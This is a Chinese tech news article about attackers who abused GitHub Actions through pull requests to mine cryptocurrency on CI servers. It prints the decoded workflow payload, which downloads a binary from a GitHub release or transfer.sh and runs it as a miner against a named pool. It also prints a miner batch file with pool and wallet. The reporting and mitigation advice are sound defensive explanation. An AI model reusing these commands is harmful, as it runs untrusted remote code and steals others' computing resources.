新聞中心
本文經(jīng)AI新媒體量子位(公眾號(hào)ID:QbitAI)授權(quán)轉(zhuǎn)載,轉(zhuǎn)載請(qǐng)聯(lián)系出處。

加密貨幣價(jià)格一路高漲,顯卡又買(mǎi)不起,怎么才能“廉價(jià)”挖礦?
黑客們動(dòng)起了歪心思——“白嫖”服務(wù)器。
給PC植入挖礦木馬,已經(jīng)無(wú)法滿(mǎn)足黑客日益增長(zhǎng)的算力需求,如果能用上GitHub的服務(wù)器,還不花錢(qián),那當(dāng)然是極好的。
而且整個(gè)過(guò)程可能比侵入PC還容易,甚至都不需要程序員上當(dāng)受騙。只需提交Pull Request(PR),即使項(xiàng)目管理者沒(méi)有批準(zhǔn),惡意挖礦代碼依然能夠執(zhí)行。
原理也很簡(jiǎn)單,利用GitHub Action的自動(dòng)執(zhí)行工作流功能,輕松將挖礦程序運(yùn)行在GitHub的服務(wù)器上。
早在去年11月,就已經(jīng)有人發(fā)現(xiàn)黑客這種行為。更可怕的是,半年過(guò)去了,這種現(xiàn)象依然沒(méi)得到有效制止。
GitHub心里苦啊,雖然可以封禁違規(guī)賬號(hào),但黑客們玩起了“游擊戰(zhàn)術(shù)”,不斷更換馬甲號(hào)逃避“追捕”,讓官方疲于奔命。
就在幾天前,一位荷蘭的程序員還發(fā)現(xiàn),這種攻擊方式依然存在,甚至代碼里還出現(xiàn)了中文。
那么,這些黑客是如何植入挖礦程序的呢?一切要從發(fā)現(xiàn)異常的法國(guó)程序員Tib說(shuō)起。
PR異常讓程序員起疑心
去年11月,Tib發(fā)現(xiàn),自己在一個(gè)沒(méi)有參加的repo上收到了PR請(qǐng)求。而且在14個(gè)小時(shí)內(nèi)就收到了7個(gè),全是來(lái)自一個(gè)“y4ndexhater1”的用戶(hù),沒(méi)有任何描述內(nèi)容。
令人感到奇怪的是,這并不是一個(gè)熱門(mén)項(xiàng)目,Star數(shù)量為0。
打開(kāi)項(xiàng)目主頁(yè)發(fā)現(xiàn),內(nèi)容是Perl項(xiàng)目的github action、circle ci、travis-ci示例代碼集合,整個(gè)README文檔一團(tuán)糟,根本不像一個(gè)正經(jīng)的開(kāi)源項(xiàng)目。
然而就是這個(gè)混亂又冷門(mén)的repo,居然在3天里被fork了2次。
一切都太不正常了,讓人嗅到了一絲不安的氣息。
嘗試“作死”運(yùn)行
本著“作死”的精神,Tib決定一探究竟。
經(jīng)過(guò)那位可疑用戶(hù)的操作,Tib所有的action都被刪除,在工作流里被加入了一個(gè)ci.yml文件,內(nèi)容如下:
當(dāng)Tib看到eval “$(echo “YXB0IHVwZGF0ZSAt這一行內(nèi)容后,立刻從沙發(fā)上跳了起來(lái),他意識(shí)到事情的嚴(yán)重性:有人在入侵他的GitHub個(gè)人資料!
這串看似神秘的字符,其實(shí)是base64編碼,經(jīng)過(guò)翻譯后,得到了另一段代碼:
apt update -qq
apt install -y curl git jq
curl -Lfo prog https://github.com/bhriscarnatt/first-repo/releases/download/a/prog || curl -Lfo prog https://transfer.sh/OSPjK/prog
ip=$(curl -s -H 'accept: application/dns-json' 'https://dns.google/resolve?name=poolio.magratmail.xyz&type=A' | jq -r '.Answer[0].data')
chmod u+x prog
timeout 4h ./prog -o "${ip}:3000" -u ChrisBarnatt -p ExplainingComputers --cpu-priority 5 > /dev/null
前面兩行不必解釋?zhuān)幸馑嫉牡胤綇牡谌虚_(kāi)始,它會(huì)下載一個(gè)prog二進(jìn)制文件。
為了安全起見(jiàn),Tib先嘗試獲取信息而不是執(zhí)行,得到了它的十六進(jìn)制代碼。
$ objdump -s --section .comment prog
prog: file format elf64-x86-64
Contents of section .comment:
0000 4743433a 2028416c 70696e65 2031302e GCC: (Alpine 10.
0010 322e315f 70726531 29203130 2e322e31 2.1_pre1) 10.2.1
0020 20323032 30313230 3300 20201203.
Tib也考慮過(guò)反編譯,但是沒(méi)有成功。
不入虎穴,焉得虎子,Tib決定嘗試運(yùn)行一下。
要執(zhí)行這一大膽而又作死的任務(wù),防止“試試就逝世”,Tib首先斷開(kāi)了電腦的網(wǎng)絡(luò)鏈接,并選擇在Docker容器中運(yùn)行。
答案終于揭曉,原來(lái)這個(gè)prog是一個(gè)名為XMRig的挖礦程序。
$ ./prog --version
XMRig 6.8.1
built on Feb 3 2021 with GCC 10.2.1
features: 64-bit AES
libuv/1.40.0
OpenSSL/1.1.1i
hwloc/2.4.0
當(dāng)時(shí)XMRig的最新版恰好是6.8.1,和上面的版本參數(shù)符合。不過(guò)用SHA256檢測(cè)后發(fā)現(xiàn),這個(gè)prog并不完全是XMRig,Tib預(yù)測(cè)它可能是一個(gè)修改版。
實(shí)際上,可能被攻擊的不止GitHub,安全公司Aqua推測(cè),像Docker Hub、Travis CI、Circle CI這些SaaS軟件開(kāi)發(fā)環(huán)境,都可能遭受這類(lèi)攻擊。
在這個(gè)攻擊過(guò)程中,會(huì)派生一個(gè)合法的repo,負(fù)責(zé)將惡意的GitHub Action添加到原始代碼。然后,黑客再向原始repo提交一個(gè)PR,將代碼合并回原始repo。
下載的挖礦程序會(huì)偽裝成prog或者gcc編譯器,通過(guò)提交PR在項(xiàng)目執(zhí)行自動(dòng)化工作流。此時(shí)服務(wù)器將運(yùn)行偽裝后的挖礦程序。
這些攻擊者僅一次攻擊就可以運(yùn)行多達(dá)100個(gè)挖礦程序,從而給GitHub的服務(wù)器帶來(lái)了巨大的計(jì)算量。
據(jù)Aqua估計(jì),僅在三天的時(shí)間里,挖礦黑客就在GitHub上有超過(guò)2.33萬(wàn)次commit、在Docker Hub上5.8萬(wàn)次build,轉(zhuǎn)化了大約3萬(wàn)個(gè)挖礦任務(wù)。
可以防范但很難根除
這種攻擊甚至不需要被攻擊的倉(cāng)庫(kù)管理者接受惡意Pull Request。
只要在.github/workflows目錄里面的任意.yml文件中配置了在收到Pull Request時(shí)執(zhí)行,來(lái)自黑客的Action就會(huì)自動(dòng)被執(zhí)行。
如果你沒(méi)有使用這個(gè)功能,那就不用擔(dān)心啦,黑客大概也不會(huì)找上你。
需要用到這個(gè)功能的話(huà),可以設(shè)置成只允許本地Action或只允許Github官方及特定作者創(chuàng)建的Action。
將情況反饋給客服后,GitHub會(huì)對(duì)惡意賬號(hào)進(jìn)行封號(hào)和關(guān)閉相關(guān)Pull Request的操作。
但惡意攻擊很難被根除,黑客只需要注冊(cè)新的賬號(hào)就可以繼續(xù)白嫖服務(wù)器資源。
攻擊還在繼續(xù)
我們從最近一次攻擊中發(fā)現(xiàn),黑客將挖礦程序上傳到GitLab并偽裝成包管理工具npm。
打開(kāi)這個(gè)可疑的nani.bat,可以看到:
npm.exe --algorithm argon2id_chukwa2
--pool turtlecoin.herominers.com:10380
--wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP
--password xo
這一次黑客挖的是烏龜幣*(TurtleCoin)*,可使用CPU計(jì)算。按當(dāng)前價(jià)格挖出四千多個(gè)幣才值1美元。
Github Actions的免費(fèi)服務(wù)器可以提供英特爾E5 2673v4的兩個(gè)核心,7GB內(nèi)存。
大致估算單臺(tái)運(yùn)行一天只能獲利幾美分,而且黑客的挖礦程序通常只能在被發(fā)現(xiàn)之前運(yùn)行幾個(gè)小時(shí)。比如Docker Hub就把自動(dòng)build的運(yùn)行時(shí)間限制在2個(gè)小時(shí)。
不過(guò)蚊子再小也是肉,黑客通過(guò)尋找更多接受公開(kāi)Action的倉(cāng)庫(kù)以及反復(fù)打開(kāi)關(guān)閉Pull Request就能執(zhí)行更多的挖礦程序。
△同一黑客賬號(hào)至少攻擊了95個(gè)GitHub倉(cāng)庫(kù)
正如Twitter用戶(hù)Dave Walker所說(shuō)的,如果你提供免費(fèi)的計(jì)算資源,就要做好會(huì)被攻擊和濫用的覺(jué)悟。挖礦有利可圖的情況下這是不可避免的。
據(jù)報(bào)道,受害的不止GitHub,還有Docker Hub、Travis CI以及Circle CI等提供類(lèi)似服務(wù)的持續(xù)集成平臺(tái)。
這一亂象不知何時(shí)才能結(jié)束,唯一的好消息可能就是,挖礦的黑客似乎只是針對(duì)GitHub提供的服務(wù)器資源,而不會(huì)破壞你的代碼。
但是GitHub Action的漏洞不止這一個(gè)。還有方法能使黑客讀寫(xiě)開(kāi)發(fā)者的倉(cāng)庫(kù),甚至可以讀取加密的機(jī)密文件。
去年7月,Google Project Zero團(tuán)隊(duì)就已向GitHub通報(bào)漏洞。但在給出的90天修復(fù)期限+延長(zhǎng)14天后,GitHub仍未能有效解決。
對(duì)此,我們的建議是,不要輕易相信GitHub市場(chǎng)里的Action作者,不要交出你的密匙。
當(dāng)前標(biāo)題:黑客用GitHub服務(wù)器挖礦,三天跑了3萬(wàn)個(gè)任務(wù),代碼驚現(xiàn)中文
文章地址:http://m.5511xx.com/article/cojdigp.html
其他資訊
- 英文設(shè)計(jì)參考網(wǎng)站,logo設(shè)計(jì)參考網(wǎng)站
- 碟中諜7智體為什么害怕源代碼?(沙特服務(wù)器租用收費(fèi)價(jià)格都與哪些方面有關(guān)?)
- 網(wǎng)站后臺(tái)怎么進(jìn)?(網(wǎng)站無(wú)法訪問(wèn)后臺(tái)也登陸不了)
- 為什么打開(kāi)視頻網(wǎng)站很慢?(網(wǎng)站打開(kāi)速度太慢不知道什么問(wèn)題)
- MySQL數(shù)據(jù)庫(kù):探索中文數(shù)據(jù)管理的無(wú)限可能 (mysql數(shù)據(jù)庫(kù) 中文)


咨詢(xún)
建站咨詢(xún)
